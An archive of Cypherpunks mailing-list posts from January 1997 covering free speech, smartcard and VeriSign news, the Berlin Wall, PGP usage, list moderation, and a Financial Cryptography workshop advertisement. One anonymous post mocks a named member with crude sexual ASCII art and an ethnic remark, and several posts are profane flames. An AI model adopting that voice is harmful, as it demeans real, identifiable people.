runs the risk of inducing a cautious and restrictive exercise of the
constitutionally guaranteed freedoms of speech and press. Our decisions
recognize that a rule of strict liability that compels a publisher or
broadcaster to guarantee the accuracy of his factual assertions may lead to
intolerable self-censorship. Allowing the media to avoid liability only by
proving the truth of all injurious statements does not accord adequate
protection to First Amendment liberties. As the Court stated in New York
Times Co. v. Sullivan, supra, at 279: 'Allowance of the defense of truth,
with the burden of proving it on the defendant, does not mean that only
false speech will be deterred.'

"The First Amendment requires that we protect some falsehood in order to
protect speech that matters."

and Justice Brennan, in _NAACP v. Button_ 371 U.S. 415, 444 (1963):

"For the Constitution protects expression and association without regard to
the race, creed, or political or religious affiliation of the members of
the group which invokes its shield, or to the truth, popularity, or social
utility of the ideas and beliefs which are offered."   

So, yes, the First Amendment protects some lies. According to your
hypothesis, the country should be collapsing around us any day now because
of it. Last one out turn off the lights, ok? 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 02:25:40 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290603.AAA02837@smoke.suba.com>
Message-ID: <32EF4257.2BBE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > Its worth noting that the origin of property is theft. In the case of the
 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

  "All your private property, is target for your enemies."
                                    Jefferson Airplane





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 15:03:18 -0800 (PST)
To: rishab@dxm.org (Rishab Aiyar Ghosh)
Subject: Internet companies demonstrate portable security
Message-ID: <199701290434.EAA00543@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


(Forward)
Internet companies demonstrate portable security

Six Internet companies have joined forces to develop a joint
demonstration of smartcard technologies at the 1997 RSA Data Security
Conference. Consensus Development Corporation, Gemplus,
Hewlett-Packard, Litronic Inc., Netscape Communications Corporation
and VeriSign, Inc., Monday announced "The Get Smartcard Demo." The
interactive demo will allow each conference attendee to load X509v3
certificates on crypto-enabled smartcards. Participants will interact
with the demo through mutually authenticated SSL connections and
document signing. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1274540-213
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lead remailer <mix@zifi.genetics.utah.edu>
Date: Wed, 29 Jan 1997 03:51:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GAK] FBI at it again
Message-ID: <199701291137.EAA10711@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Dr.Dimitri L"iposuction" Vegetable had his foreskin ripped off
> last night by a vacuum cleaner.
> 
>    ,/         \,
>   ((__,-"""-,__))
>    `--)~   ~(--`
>   .-'(       )`-, Dr.Dimitri L"iposuction" Vegetable
>   `~~`d\   /b`~~`
>       |     |
>       (6___6)
>        `---`

I thought Dimitri was Jewish.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 15:17:10 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Child Porn
Message-ID: <199701290448.EAA00573@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


(Forward)
*** NY student charged with sending child sex photos over Internet

Nathaniel Levy, a psychology major at New York State University, was
charged Wednesday with using the Internet to transmit photos of
infants having sex with adults, the New York state attorney general
said. Levy, who wanted to be a kindergarten teacher, was arrested for
promoting sexual performance of a child. If convicted he could receive
seven years in prison. Levy, whose computer name was "NateTSnake," was
released Wednesday on $20,000 bail. He allegedly transmitted 35
sexually explicit photos of children, some as young as 18 months. For
the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1219452-9f3 
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 29 Jan 1997 02:25:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: verisign_1.html
Message-ID: <199701291026.FAA08091@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Kodak Near Deal With Wang - Report
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   Tuesday January 28 9:52 AM EST 
   
VeriSign Commercializes New Encryption Standard

   SAN FRANCISCO - VeriSign, hoping to push some recent Internet
   encryption research into use, says it has begun commercializing
   several products based on new industry encryption standards.
   
   First it has taken the Secure Electronic Transactions (SET) standard
   developed last year by an industry group led by Visa and MasterCard
   and started online distribution of digital IDs based on SET to Visa
   customers.
   
   At a conference in San Francisco sponsored by RSA Data Security,
   VeriSign also demonstrated digital ID smart cards using a PC/SC
   standard to get access to Internet sites.
   
   In a partnership with Schlumberger, which also manufactures the smart
   cards, Litronic, which makes readers of smart cards, and Microsoft on
   whose Internet Explorer 3.0 browser the smart cards will work,
   VeriSign showed how the smart cards would be useful for providing
   secure access to restricted Internet sites, or for transactions on the
   Net.
   
   "We are starting to see the industry support this Visa- MasterCard
   initiative with a lot of product efforts," VeriSign Chief Executive
   Stratton Sclavos said about SET.
   
   Smart cards are credit card-shaped plastic cards that hold a microchip
   that endows them with computer intelligence and processing
   capabilities. As officials from VeriSign, Spyrus and others described
   here, an employee would use the smart card to get access from anywhere
   to a corporate network and have all the key personal information as if
   the computer was programmed for that person's use. Likewise, a
   consumer might use the smart card in many different sites to do
   Internet-based transactions from kiosks or ATMs and so on.
   
   Sclavos forecast that Internet transactions requiring security will
   gain consumer acceptance in 1998 or 1999.
   
   He said 1997 will be the year that security apparatus is installed or
   deployed by merchants, banks and other companies. Then once deployed,
   consumers will start using it about a year later.
   
   Security remains a key concern of consumers about electronic commerce
   and Internet transactions, he said.
   
   VeriSign also announced its so-called private label digital ID program
   in which it is making encryption products for large customer-oriented
   companies, like brokerage firms, to distribute to customers for access
   to online accounts.
   
   And it announced a new service for the Electronic Data Interchange
   market that allows EDI to take place over the Internet instead of
   proprietary networks.
   
   Mountain View, Calif-based VeriSign considers itself the leader in
   providing digital certification for Internet access and electronic
   commerce. It has issued digital IDs based on other encryption
   technology it developed to about 500,000 people and on 14,000 Web
   sites, it added.
   
   Copyright, Reuters Ltd. All rights reserved
   
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 02:24:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercen
Message-ID: <TCPSMTP.17.1.29.5.27.28.2780269260.1489949@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:dthorn@gte.net to Harka <=-

 > The Cold War was not won by the arms race, it was won in
 > Eastern Europe which was never a major participant. The main
 > instrument that won it was West German TV which broadcast
 > pictures of supermarkets with full shelves into the homes
 > of East Germans every night. The viewers could see that it
 > was not mere propaganda and their relatives confirmed the
 > fact. As a result the East German guards on the Berlin wall
 > simply decided to leave their posts one night.

 In> That's it?  The system collapsed because the guards left their posts?
 In> And no mutiny charges?  Incredible.

Actually not quite right. On November 9th, 1989 the East-German
government established a new law (under pressure from the
demonstrating public), that would allow every East-German to go _up
to_ 30 days/per year to a western country. Visas to do so would be
given out without problems, effective immediately.
At the evening press-conference however, the government speaker
Guenther Schabowskie (can't recall his exact position at that time)
introduced that new law and then he made the BIG error: after
hearing the new provisions of the new travel law, a foreign
journalist stood up and asked him "Does _that_ mean, that every
East-german citizen could right now go to the western border and
gain free entry to West-Germany (or West-Berlin) without problems?"
And my man Guenther was looking desperately in all his papers (funny
as hell! :)) and then, after finding no pre-made answer, he said:
"Yeah, I guess so!"...
After which the journalists sped out and cabeled their
interpretation of the situation: "The wall is open!".

Which in fact was quite a dangerous situation then, cause
East-Germans heard that and actually went to the west-german border
(and West-Berlin as well). The Border-Control guards however were
even less informed then my man Guenther :), with the difference,
that they had the order to shoot in case of "Desertion of the
Republic".
But faced with hundreds of people, who were all talking about some
new travel law, they just shrugged and opened the gates without
being stupid (they after all, were mostly young men in 1 1/2 or 3
year military service/draft, who were normal people just like
everybody else).
In fact, for acting in such a way, a lot of people gave them flowers
and champaigne later on in that wild night of celebration...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunadDltEBIEF0MBAQHw5Af9FTchTTk9/G6Nq/StYwwLv3vt5hFmNUjn
jyS5eDOM2rlh9107Awv4TwdGnV43RlJVKvNSnYUOg+dRiYhysewfyyJ4klmmsTBP
x+9Cn81o1Jqeqp5aovP52YLgdCKUL9l7BOnvQsXzJIJRglj1KC/Hr+5kXWNsyI6l
wN7WSnFPLJ0c+q5QXkkpQfWUj4LwOZItbh+I2Sy+kIdJuhVi66L45oCkJyHwfq2+
SgbuqaGabAGVakOMl53yffuhc6TXKcWcs30Vi2axwqXE//hlwO/NFg/OaoMUz+6i
fJZmUtI33iCpsTtELPZzIqeP7DM13CaZ5u1r4URVWUOdXFDRs9Hytw==
=YiP5
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 02:24:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <TCPSMTP.17.1.29.5.27.42.2780269260.1489950@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> harka@nycmetro.com writes:
 >does anybody know any contact points/Web pages, where I might get
 >some information on e-mail filtering via trigger-words? I am
 >interested in how this technology specifically works and a
 >acollection of trigger-words would be nice too :)

Actually, I might not have chosen the correct words for what I
wanted...
I am looking for sniffer-programs, that analyze e-mail traffic on
the Net and filtering out all e-mails potentially interesting for
_intelligence services_. For example, I've heard, that if an e-mail
contains the words: "assassinate President" (DISCLAIMER: I hope, our
President lives a long and happy life, even after his
impeachment...:)), it will automatically get filtered and checked
out by the Secret Service.
Different intelligence agencies might have similar things in place.
Where could I get some more information about that?

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunaiDltEBIEF0MBAQHVFAf/TbYVKOSoH4G0GRaHcJJDREUbzkr4nczs
Vi7EMagZci3FRx0atVAkMz4GNwBYCf5CJdnDTIR7tOADs1OamMIRhsGV00r3ZbCB
dAWTKbjKcXHno+Eztmelk9P5F50ryP2B25mjWT2CJDTZqyml6Bhe5AW8K0lSDPfw
AHCGPk701pXB62POXf2rwccQusOFAMaR4X/44xcOdamrWBsKJKaE1Sz/wvzvzxob
7t8Dh7x48oEgMQ68cQz2luZlZlIUzHV3x0npZNetYbEzRTKMEITXfKqzb0iG8pfD
r1K13Jlr4Li93f59OKci5Rrz6eiCIvXlII9w4o2ejYJp8EPZdNsTKg==
=Mh6f
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 03:43:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970128232152.28952G-100000@crl5.crl.com>
Message-ID: <32EF54AD.7C0A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
 
 > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
 
 > > Why is a mere "I see" classified as cypherpunks-flames???
 > > Stop picking on girls, Sandy.
 
 > It wasn't and I wasn't.
 
   It was and you did.
 
   Sorry, Sandy, but I'm going to have to take off the 'gold star'
 I put on your chart on Monday, and put on a 'red star'.
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Jan 1997 21:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Getting into MIT is impossible
Message-ID: <199701290545.GAA06984@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




According to Rick Osborne:

"I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis."

People get into MIT--or don't get into MIT--for lots of reasons. Most
intelligent people apply to several schools, knowing that admissions
practices are subject to the vagaries of reality.

In my case, my SATs were about 1500, with some 800s in achievement tests.
And the usual bullshit high school clubs, political offices, etc. etc. I
was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
way things turned out.

And I decided not to go to MIT, either.

"The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!""

My guess is that "other factors" were involved. 

I noted with some interest, but little surprise, that the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
had major problems making a coherent point. Methinks this is why MIT
rejected him, not his lack of a "1600."

">For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

"Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess."

MIT offered me a substantial economic aid package, in the form of loans,
grants, and various campus jobs. What does this tell you?

"MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)

I've known about a dozen or so MIT grads, and only one of them was a snooty
asshole, and it was a _she_, one of the first MIT women grads (and she was
_very_ impressed by this). 

Most MIT grads are perfectly reasonable.

Xanthar




--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 29 Jan 1997 07:16:35 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <32EF54AD.7C0A@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 29 Jan 1997, Toto wrote:

> Sandy Sandfort wrote:
>  
>  > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>  
>  > > Why is a mere "I see" classified as cypherpunks-flames???
>  > > Stop picking on girls, Sandy.
>  
>  > It wasn't and I wasn't.
>  
>    It was and you did.

No, I classified it as "spam" and sent it to the list set aside 
for that, cypherpunks-flames.  Several such spams--from members 
of both sexes--have been treated the same way, so girls were net
especially picked on.  In any event, no one was "picked on" by
that decision.  The people in question self-selected themselves
by posting spam.

Why "spam"?  Because of the childish inclusion of pages of 
no-longer-relevant previous comments.  Whether intentional or
merely negligent, the net effect is to spam the list.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 07:27:58 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
Message-ID: <32EF6C5C.5A7E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Wed, 29 Jan 1997, Toto wrote:
> > Sandy Sandfort wrote:
> >  > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> >  > > Why is a mere "I see" classified as cypherpunks-flames???
> >  > > Stop picking on girls, Sandy.

> No, I classified it as "spam" and sent it to the list set aside
> for that, cypherpunks-flames.  Several such spams--from members
> of both sexes--have been treated the same way, so girls were net
> especially picked on.  In any event, no one was "picked on" by
> that decision.  The people in question self-selected themselves
> by posting spam.
> Why "spam"?  Because of the childish inclusion of pages of
> no-longer-relevant previous comments.  Whether intentional or
> merely negligent, the net effect is to spam the list.

I hope to God you're paying attention, Toto.  You just got a new
rule: inclusion of no-longer-relevant comments. Now if you pay close
attention from now on, and write these things down, you won't forget.
(until there's a new rule, but that's the way these things work).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 04:25:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Key Preview...
Message-ID: <TCPSMTP.17.1.29.7.28.40.2780269260.1490067@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

is there a way to preview the contents of a received public key,
without adding it automatically to the public key ring?

Thanks a lot in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunrbjltEBIEF0MBAQEisgf+OBS8Q06g3pNfKgntaKQdCkHyLXZWHjI7
hOnVeF47C0qgsFjEEymnrQMl4b1l2zcRgqUKTY8jXhmaY6yeGcoRXc5hgo1679MY
l+7BTNKIy2YTnzjhFk5bOKXk6V9DDWfq4chhCE2dpEVdUgRPVTfkfbm5VEN+zmn8
gaXyIf/bYv5GEs2F/FPc1kTmySx/NT5CvbvQRHaQdfEDk+QatnRjRLSsprln8cnt
vxqZO9a6lveygA/wECPdx1gnHBhrscUeaLHIXz4YVVaSMrkEHJfLWOrzQHg2CGwQ
o5OcKmuY0FcvzfpS2Yo0/lA8+/Ez83yUAdeEeY+yF7p2XgrLaOiFnw==
=o/jO
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 05:00:08 -0800 (PST)
To: FC97 Distribution <rah@shipwright.com>
Subject: Call for Participants: The Financial Cryptography 1997 Workshopfor Senior Managers and IS Professionals
Message-ID: <v03007808af14f4068d59@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


CALL FOR PARTICIPANTS
The Financial Cryptography 1997 (FC97)
Workshop for Senior Managers and IS Professionals
February 17-21, 1997
The InterIsland Hotel
Anguilla, BWI
<http://www.offshore.com.ai./fc97/>

Workshop Update: January 29, 1997

FC97 is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here! <mailto: rackliffe@tcm.org>

FC97 Workshop for Senior Managers and IS Professionals
February 17-21, 1997

FC97 Conference and Exhibition,
February 24-28, 1997

The Inter-Island Hotel
Anguilla, BWI

Workshop and Conference Reservations: <http://www.offshore.com.ai./fc97/>



The world's first intensive financial cryptography workshop for senior
managers and IS professionals will be held Monday through Friday, February
17-21 1997, from 9:00am to 6:00pm, at the Inter-Island Hotel on the
Carribbean island of Anguilla.

This workshop will be the prelude to the world's first peer-reviewed
financial cryptography conference and commercial exhibition, Financial
Cryptography 1997 (FC97), which will be held the following week, February
24-28, 1997.


The goals of the combined workshop, conference and exhibition are:

-- to give senior managers and IS professionals a solid understanding of
the fundamentals of strong cryptgraphy as applied to financial
operations on public networks,

-- to provide a peer-reviewed forum for important research in financial
cryptography and the effects it will have on society, and,

-- to showcase the newest products in financial cryptography.

Workshop and Conference participants are encouraged to bring their
families, though Workshop participants should expect to be busy the first
week. :-).


The Workshop

Ian Goldberg, the Workshop chair, has picked an outstanding team of
instructors in financial cryptography and internet financial system
security to teach the courses in this workshop. The Workshop will consist
of 40 hours of intensive instruction and lab time over 5 days. Each student
will have their own internet workstation, and the lab will be open 24
hours.  The SSL internet commerce server used in the workshop will be
Stronghold, developed by C2NET, of Berkeley, California. For information on
Stronghold, please see <http://www.c2.net/>. Thanks to C2NET for their
gracious donation of this outstanding software to the FC97 Workshop.


Who Should Attend

The Workshop is intended for senior IS managers and technical professionals
who want to get completely up to speed on the design, development, and
implementation of financial cryptography systems, the core technology of
internet commerce. After the workshop, senior managers will have a hands-on
understanding the strengths and liabilities of currently available
financial cryptography and internet transaction security software and
hardware, and thus be able to make better asset allocation decisions in
this area of explosive technology growth. Senior technical professionals
with strong IS experience will be able to implement those technologies and
to pass on what they've learned to their clients and colleagues when they
return home.

The Workshop will be held in a casual but intensive atmosphere at the very
cutting edge of financial technology on the internet. Someone has likened
the experience to a financial cryptography bootcamp.  At the end, Workshop
attendees will be utterly conversant in cryptography as it applies to
finance, and will be quite prepared for the technical papers in the FC97
conference the following week. Workshop participants will not only know
what everyone else is doing now in internet commerce, but, more important,
because they understand the implications of strong financial cryptography
on ubiquitous public networks, they will be able to know what to do *next*.


The Workshop Leader

Ian Goldberg is a Ph.D. student in security and cryptography at the
University of California, Berkeley. Just last night, he cracked RSA Data
Security Inc.'s 40-bit challenge cipher in just under 3.5 hours. In late
1995, he discovered what became a much-publicized flaw in Netscape's
implementation of SSL. He is a recognized expert in electronic payment
systems, and in DigiCash's ecash digital bearer certificate protocol in
particular. He has produced several ecash clients for Unix and Windows, as
well as an ecash module for the Stronghold web server, which has extended
the existing ecash system for better security, privacy, and ease-of-use.

The Principal Instructors

Gary Howland worked on digital cash systems for DigiCash, and then moved to
Systemics, where he developed the SOX protocol, a flexible payments system
currently in use in a bond trading environment, soon to be available to the
public. He also developed the Cryptix and PGP libraries in Perl, and
assisted on the Cryptix and PGP library implementations in Java.

Adam Shostack is a security consultant based in the Boston area. He has
extensive background in designing, implementing and testing secure systems
for clients in the medical, computer, and financial industries. His recent
public work includes 'Apparent Weaknesses in the Security Dynamics Client
Server Protocol,' 'Source Code Review Guidelines,' and comparisons of
freely available cryptographic libraries. His clients include Fidelity
Investments and the Brigham and Women's Hospital, in Boston.


Additional Instructors

The Workshop will have student-to-instructor ratio of 5 to 1, not including
the Workshop leader. The Workshop will have an initial enrollment of 10
students, and an additional instructor will be added for each 5 students up
to a 25 student maximum enrollment.


Workshop Topics

The following is the complete list of topics that the workshop will cover:


      Security on the Internet
            Internet Protocols: IP, TCP, UDP
            Higher-level Protocols: Telnet, FTP, HTTP, SSL
            Solid Foundations for Cryptographic Systems
            A History of Internet Attacks
            Building Internet Firewalls
            Building a Bastion Host
            Turning your Bastion Host into a Web Server
            Non-internet Internet Security
      Cryptography
            The Need for Cryptography
            History of Cryptography
            Classical Methods
            Modern Methods
            Private and Public Key Cryptography
            Authentication vs. Security
            Certification and Public Key Infrastructures
            Cryptographic Protocols
            Engineering a Cryptographically Secure System
            Why Cryptography is Harder than it Looks
            Security Through Obscurity and How to Recognize Snake Oil
      Internet Payment Systems
            Payment models: coin-based, cheque-based, account-based
            Security Issues
            Privacy and Anonymity Issues
            Smartcards vs. Software
            Existing Payment Schemes
                  Credit Cards
                  First Virtual
                  CyberCash
                  DigiCash
            Forthcoming Payment Schemes
                  SET
                  Mondex
                  Millicent
                  micropayments
      Setting Up an ecash-Enabled Web Server
            Setting up the Web Server
            Signing up for ecash
            Installing the ecash Module
            Setting Prices
            Logging
            Advanced Methods
                  ecashiers
                  moneychangers


The workshop has been covered by Wired Magazine, and FC97 was the featured
conference in the January 1997 "Deductible Junkets" section. So, if you
have already decided to come to the FC97 Workshop and Conference, please
register and make your plane and hotel reservations as soon as possible.
Workshop space is extremely limited.

The price of the workshop is $5,000 U.S. You can pay for your FC97 workshop
ticket with Visa or MasterCard, with ecash, or with any of a number of
other internet commerce payment protocols, at the
regstriation site: <http://www.offshore.com.ai/fc97/>.

The workshop price includes meals (but not lodging) at the InterIsland
Hotel and lab space, plus the delivery and installation of hardware,
network access, internet commerce software, all to a location like
Anguilla. And, of course, 40 hours of instruction and structured lab
activity.  We have priced the workshop to be competitive with other
comprehensive business and professional technology workshops of similar
total session length.

In addition, the first 10 FC97 workshop participants will receive a 50%
reduction in their FC97 Conference and Exhibition fee, for a savings of
$500 off the $1,000 conference admission.

You can register, and pay for, your workshop ticket at:

<http://www.offshore.com.ai/fc97/>



Air Transportation and Hotels

Air travel to Anguilla is typically done through San Juan, St. Thomas or
St. Maarten/Martin. There are several non-stop flights a day from various
US and European locations. Connection through to Anguilla can be made
through American Eagle, or through LIAT, or in the case of St. Maarten,
with a short ferry ride to Anguilla. See your travel agent for details.

Anguilla's runway is 3600 feet, with a displaced threshold of 600 feet,
and can accomodate business jets. Obviously, you should talk to your
aviation staff for details about your own aircraft's capabilities in this
regard.

Anguilla import duties are not imposed on hardware or software which
will leave the island again, so, as long as you take it with you when
you leave, you won't pay import duties.

PLEASE NOTE: Your FC97 Workshop fee only covers *meals* at the InterIsland
Hotel. The InterIsland is actually a small guesthouse attached to a large
conference facility, and so rooms there are in short supply. Fortunately,
there are lots of small hotels and guesthouses nearby. For more information
on these hotels, please see <http://www.offshore.com.ai/fc97/> for more
information.

Other hotels on Anguilla range from spartan to luxurious, all within easy
walking or driving distance of the Workshop at the InterIsland. More
information about Anguillan hotels can be obtained from your travel agent,
or at <http://www.offshore.com.ai/fc97/>.


Registration and Information for Other FC97 Events

To register and pay for your ticket to the FC97 conference itself, see:
<http://www.offshore.com.ai/fc97/>

For information the selection of papers for the FC97 conference see:
<http://www.cwi.nl/conferences/FC97>

If you're interested in Exhibition space, please contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>

If you're interested in sponsoring FC97, also contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>


Financial Cryptography '97 is held in cooperation with the International
Association for Cryptologic Research. The conference proceedings will be
published on the web by the Journal for Internet Banking and Commerce.
<http://www.arraydev.com/commerce/JIBC/>.



The FC97 Organizing Committee:

Vince Cate and Bob Hettinga, General Chairs
Ray Hirschfeld, Conference Chair
Ian Goldberg, Workshop Chair
Julie Rackliffe, Conference, Exhibit, and Sponsorship Manager

And our sponsors...

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 05:03:29 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
